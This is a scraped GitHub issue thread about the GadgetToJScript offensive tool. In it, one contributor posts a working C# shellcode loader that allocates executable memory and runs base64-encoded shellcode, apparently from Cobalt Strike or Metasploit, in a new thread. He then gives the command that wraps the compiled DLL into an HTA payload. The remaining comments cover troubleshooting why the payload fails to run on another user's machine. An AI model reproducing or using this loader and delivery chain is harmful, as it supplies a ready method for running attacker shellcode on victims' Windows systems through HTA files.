Giter VIP home page Giter VIP logo

Comments (4)

med0x2e avatar med0x2e commented on August 19, 2024

Hi,

Not sure which part is missing on your side, but the steps/Poc below worked for me;

  1. Compile this to a DLL (x86) (i used CS x86 stageless shellcode);
using System;
using System.Runtime.InteropServices;

namespace CreateThread
{
    public class Test
    {
        public Test()
        {
            ok();    
        }

        public static void ok()
        {
            byte[] sh = Convert.FromBase64String("cat shellcode.bin | base64");
            UInt32 addr = VirtualAlloc(0, (UInt32)sh.Length,
                                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(sh, 0, (IntPtr)(addr), sh.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            IntPtr p = IntPtr.Zero;

            hThread = CreateThread(0, 0, addr, p, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
         UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
          IntPtr hHandle,
          UInt32 dwMilliseconds
        );

    }
}
  1. GadgetToJScript4.x.exe -w hta -b -a C:\Test\CreateThread.dll -o test.hta

from gadgettojscript.

Braddymon avatar Braddymon commented on August 19, 2024

How strange, unfortunatley I do not have CS to test it with but tested it with a whole range of shellcodes from msf and other popular C2's + simple shellcodes in net to write a message to desktop and nothing. They all work in the c# exe/dll without any problem just not with G2J.

Sure I will spend the next few weekends banging my head against a wall only to find out it is something very simple! Thanks for the reply... fingers crossed I figure out what is wrong on my end :)

from gadgettojscript.

med0x2e avatar med0x2e commented on August 19, 2024

Tested the same PoC above with MSF shellcode & it worked.

Maybe the issue you're dealing with has to do with WScript/CScript or Mshta handler in use; #4 (comment).

Or could be related to the build configuration you used for building G2JS (x86, x64) and .NET framework you (possibly) retargeted the project to.

I hope this helps.

from gadgettojscript.

Braddymon avatar Braddymon commented on August 19, 2024

Hi med0x2e,

Thanks for all your help with this. For some strange reason nothing is working for me but now I know it does work, time for some more manual debugging. Probably will end up being something silly that has stopped it all along. Thanks again!!! :)

from gadgettojscript.

Related Issues (14)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.